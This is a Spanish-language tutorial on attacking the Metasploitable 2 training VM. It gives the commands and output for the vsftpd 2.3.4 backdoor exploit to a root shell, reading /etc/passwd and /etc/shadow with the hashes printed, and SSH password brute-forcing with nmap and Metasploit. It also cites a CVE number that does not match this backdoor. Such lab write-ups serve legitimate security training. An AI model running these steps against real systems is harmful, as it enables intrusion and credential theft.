Metasploitable 2 es un entorno de pruebas de ciberseguridad. Se trata de una máquina virtual creada por Rapid7. Esta máquina viene por defecto con varias vulnerabilidades que podemos explotar. El objetivo es entrenarnos en un entorno controlado y sin dañar a terceros.
He llamado a este post Metasploitable 2 – Parte 1 porque desarrollar la máquina en una sola entrada sería muy largo. Explotaré entre un 1 ó 2 vulnerabilidades por entrada, todo dependerá de la complejidad de cada práctica. Partiré de la base de que usted ya tiene su VM con Metasploitable 2 y su sistema Kali Linux. Siendo así, vamos a hackear esa máquina.
Lo primero será buscar la IP asignada a la máquina Metasploitable 2. Eso lo hacemos con el comando ifconfig
dentro de la MV. Para este caso, la IP asignada es la 192.168.1.4. Eso es todo lo que necesitamos para comenzar. Ahora, vamos a escanear esa IP con nmap. Esto lo hacemos para ver cuáles puertos están abiertos y cuáles versiones de cada servicio corren en ellos. El comando que usé fue: nmap -sV 192.168.1.4
y me arrojó lo siguiente:
PORT STATE SERVICE / VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open mtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X – 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X – 4.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login OpenBSD or Solaris rlogind
514/tcp open tcpwrapped
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
5432/tcp open postgresql PostgreSQL DB 8.3.0 – 8.3.7
5900/tcp open vnc VNC (protocol 3.3)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
Bien, ya tenemos buena información. Ahora, debemos ver cuáles vulnerabilidades se encuentran en esos servicios / versiones que usa Metasploitable 2. Comencemos por el principio. Analicemos esta línea: 21/tcp open ftp vsftpd 2.3.4.
Investigando un poco encontré que vsftpd 2.3.4, tiene una vulnerabilidad (CVE-2011-0762) que podemos explotar y aprovechar. No es propósito de esta entrada describir a fondo cada vulnerabilidad. Más bien es mostrar las formas sencillas de explotarlas. Si desea estudiar esta vulnerabilidad en particular puede ir a este enlace.
Explotando vsftpd 2.3.4
En ciberseguridad existen muchas formas de hacer una misma tarea. Yo intentaré explotar esta vulnerabilidad con Metasploit, herramienta clave en la seguridad que viene instalada en nuestro Kali Linux.
Llamo a la herramienta con el comando msfconsole
y una vez cargue le pediré que busque el servicio y la versión con el comando: search vsftpd
.
A mi solicitud Metasploit responde:
0 auxiliary/dos/ftp/vsftpd_232 2011-02-03 VSFTPD 2.3.2 Denial of Service
1 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 VSFTPD v2.3.4 Backdoor Command Execution.
Es claro que mi opción es la numero 1. Le doy la orden de usar esa opción con el comando use 1
y, acto seguido, procedo a configurar el ataque. Le indico el objetivo con el comando set RHOSTS 192.168.1.4
. También podría indicarle el puerto pero es innecesario. Al decirle que use la opción 1, la herramienta sabe que se trata de ftp y por tanto del puerto 21.
Habiéndole indicado la dirección de la máquina Metasploitable 2, procedo a lanzar el ataque con el comando exploit
. Si todo está bien, la respuesta deberá ser la siguiente:
[*] 192.168.1.4:21 – Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.4:21 – USER: 331 Please specify the password.
[+] 192.168.1.4:21 – Backdoor service has been spawned, handling…
[+] 192.168.1.4:21 – UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.110:36903 -> 192.168.1.4:6200) at 2024-06-14 08:18:56 -0500
Me dice que la sesión está abierta. Eso, lo que quiere decir, es que estoy adentro. Para reconocer mi rol dentro del sistema usaré el comando whoami
. En este caso, la respuesta fue root, lo cual quiere decir que tengo todo el poder dentro de la máquina víctima. Para saber mi ubicación usé el comando pwd
y la respuesta fue: /
, lo que me indica que estoy en el directorio raíz. Ahora voy a listar el contenido del directorio con el comando ls -l
:
total 81
drwxr-xr-x 2 root root 4096 May 13 2012 bin
drwxr-xr-x 4 root root 1024 May 13 2012 boot
lrwxrwxrwx 1 root root 11 Apr 28 2010 cdrom -> media/cdrom
drwxr-xr-x 14 root root 13540 Jun 14 09:03 dev
drwxr-xr-x 94 root root 4096 Jun 14 09:04 etc
drwxr-xr-x 6 root root 4096 Apr 16 2010 home
drwxr-xr-x 2 root root 4096 Mar 16 2010 initrd
lrwxrwxrwx 1 root root 32 Apr 28 2010 initrd.img -> boot/initrd.img-2.6.24-16-server
drwxr-xr-x 13 root root 4096 May 13 2012 lib
drwx—— 2 root root 16384 Mar 16 2010 lost+found
drwxr-xr-x 4 root root 4096 Mar 16 2010 media
drwxr-xr-x 3 root root 4096 Apr 28 2010 mnt
-rw——- 1 root root 7984 Jun 14 09:03 nohup.out
drwxr-xr-x 2 root root 4096 Mar 16 2010 opt
dr-xr-xr-x 105 root root 0 Jun 14 09:03 proc
drwxr-xr-x 13 root root 4096 Jun 14 09:03 root
drwxr-xr-x 2 root root 4096 May 13 2012 sbin
drwxr-xr-x 2 root root 4096 Mar 16 2010 srv
drwxr-xr-x 12 root root 0 Jun 14 09:03 sys
drwxrwxrwt 4 root root 4096 Jun 14 09:04 tmp
drwxr-xr-x 12 root root 4096 Apr 28 2010 usr
drwxr-xr-x 14 root root 4096 Mar 17 2010 var
lrwxrwxrwx 1 root root 29 Apr 28 2010 vmlinuz -> boot/vmlinuz-2.6.24-16-server
Como soy root, puedo hacer lo que me venga en gana con esos archivos. Cambiar permisos, crear, modificar, descargar, borrar, lo que quiera. Aquí juega la creatividad de cada uno.
Por ejemplo, voy a crear un directorio llamado zfolder. En mi terminal de Kali Linux, donde estoy corriendo el Metasploit, usaré el comando mkdir zfolder
. Ahora voy a mi MV Metasploitable 2 y hago un ls
y ya debe aparecer el directorio zfolder como se ve en la imagen.
Ya explotamos el backdoor de vsftpd 2.3.4 en Metasploitable 2. Estando adentro podemos hacer muchas cosas más. Se me ocurre, por ejemplo, leer el contenido del fichero passwd en el cual almacena información de inicios de sesión, es decir, información de las cuentas de usuario. Para ello usaré el comando: cat /etc/passwd
. El resultado:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/:/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
Interesante. Ahora, para ver las contraseñas cifradas de los usuarios usaré el comando cat /etc/shadow
. La salida:
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
daemon:*:14684:0:99999:7:::
bin:*:14684:0:99999:7:::
sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:14742:0:99999:7:::
sync:*:14684:0:99999:7:::
games:*:14684:0:99999:7:::
man:*:14684:0:99999:7:::
lp:*:14684:0:99999:7:::
mail:*:14684:0:99999:7:::
news:*:14684:0:99999:7:::
uucp:*:14684:0:99999:7:::
proxy:*:14684:0:99999:7:::
www-data:*:14684:0:99999:7:::
backup:*:14684:0:99999:7:::
list:*:14684:0:99999:7:::
irc:*:14684:0:99999:7:::
gnats:*:14684:0:99999:7:::
nobody:*:14684:0:99999:7:::
libuuid:!:14684:0:99999:7:::
dhcp:*:14684:0:99999:7:::
syslog:*:14684:0:99999:7:::
klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:14742:0:99999:7:::
sshd:*:14684:0:99999:7:::
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::
bind:*:14685:0:99999:7:::
postfix:*:14685:0:99999:7:::
ftp:*:14685:0:99999:7:::
postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:14685:0:99999:7:::
mysql:!:14685:0:99999:7:::
tomcat55:*:14691:0:99999:7:::
distccd:*:14698:0:99999:7:::
user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:14699:0:99999:7:::
service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:14715:0:99999:7:::
telnetd:*:14715:0:99999:7:::
proftpd:!:14727:0:99999:7:::
statd:*:15474:0:99999:7:::
El formato de la contraseña se establece en formato $id$salt$hashed. $id es al algoritmo usado en GNU/Linux de la siguiente forma: $1$ – MD5; $2a$ – Blowfish: $2y$ – Eksblowfish: $5$ – SHA-256: $6$ – SHA-512. Así, podremos determinar qué tipo de hash es y usar una herramienta que lo rompa.
Explotando ssh OpenSSH 4.7p1.
Ya explotamos la primera vulnerabilidad de nuestra máquina Metasploitable 2. Ahora vamos con la segunda. Se trata de la línea 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0). Si buscamos en Internet encontraremos mucha información sobre ese servicio y su versión. Para la muestra aquí encontraremos algunas pero son muchas.
Para esto también existen muchísimas formas de hacerlo. Yo exploté la vulnerabilidad de dos formas: usando un script de nmap y usando Metasploit. Con la primera forma, con nmap, el comando usado fue:
nmap -p 22 --script ssh-brute --script-args userdb=/usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt,passdb=/usr/share/nmap/nselib/data/passwords.lst 192.168.1.4
Obvio ustedes tendrán que cambiar las ubicaciones de las listas y la IP de la máquina a atacar. Tras un rato de pruebas el script me arrojó el siguiente resultado:
PORT STATE SERVICE
22/tcp open ssh
| ssh-brute:
| Accounts:
| user:user – Valid credentials
|_ Statistics: Performed 2757 guesses in 901 seconds, average tps: 3.1
Nmap done: 1 IP address (1 host up) scanned in 901.40 seconds
Se ha encontrado una coincidencia con el usuario user y la contraseña user. ¡Qué gran hacker soy! Apuesto a que también podría pescar todas las truchas de un acuario. Ahora, usando la opción auxiliary/scanner/ssh/ssh_login de Metasploit la salida será:
[-] 192.168.1.4:22 – Failed: ‘admin:admin’
[-] 192.168.1.4:22 – Failed: ‘test:test’
[-] 192.168.1.4:22 – Failed: ‘root:matrix’
[-] 192.168.1.4:22 – Failed: ‘ghost:ghost’
[-] 192.168.1.4:22 – Failed: ‘root:sleeper’
[+] 192.168.1.4:22 – Success: ‘user:user’ ‘uid=1001(user) gid=1001(user) groups=1001(user) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux ‘
[+] 192.168.1.4:22 – Success: ‘msfadmin:msfadmin’ ‘uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux ‘
[*] SSH session 2 opened (192.168.1.110:35015 -> 192.168.1.4:22) at 2024-06-15 08:06:37 -0500
Aquí vemos que nuestro ataque dio resultado y tenemos dos sesiones abiertas. Para comprobarlo usaremos el comando sessions -l
y nos deberá arrojar algo así:
1 shell linux SSH zcrunch @ 192.168.1.110:45229 -> 192.168.1.4:22 (192.168.1.4)
2 shell linux SSH zcrunch @ 192.168.1.110:35015 -> 192.168.1.4:22 (192.168.1.4)
Aquí nos muestra las sesiones abiertas. Para interactuar con la máquina vulnerada vamos a usar el comando sessions -i 2
y nos deberá responder: [*] Starting interaction with 2
. Esto significa que estamos adentro. Si hacemos un ls
veremos el directorio vulnerable y si hacemos un cd vulnerable && ls
veremos los directorios mysql-ssl, samba, tikiwiki, twiki20030201 que son las aplicaciones que trae la máquina Metasploitable 2 para practicar. Si vamos a la raíz con cd /
veremos todas las carpetas, incluído el directorio zfolder que creamos en el ejercicio anterior.
Y eso es todo, ya hemos conectado con la víctima a través de ssh. En próximos posts continuaré desarrollando esta misma máquina y, quién sabe, tal vez más adelante haga unos sobre otros entornos de prueba.
Siguiente ejercicio: Metasploitable 2 – Explotar Telnet.